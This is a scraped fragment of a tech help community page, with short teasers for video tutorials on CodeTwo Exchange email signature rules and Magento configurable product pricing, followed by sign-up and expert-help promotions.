This video demonstrates how to create an example email signature rule for a department in a company using CodeTwo Exchange Rules. The signature will be inserted beneath users' latest emails in conversations and will be displayed in users' Sent Items…
You have products, that come in variants and want to set different prices for them? Watch this micro tutorial that describes how to configure prices for Magento super attributes. Assigning simple products to configurable: We assigned simple products…

747 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

10 Experts available now in Live!

Get 1:1 Help Now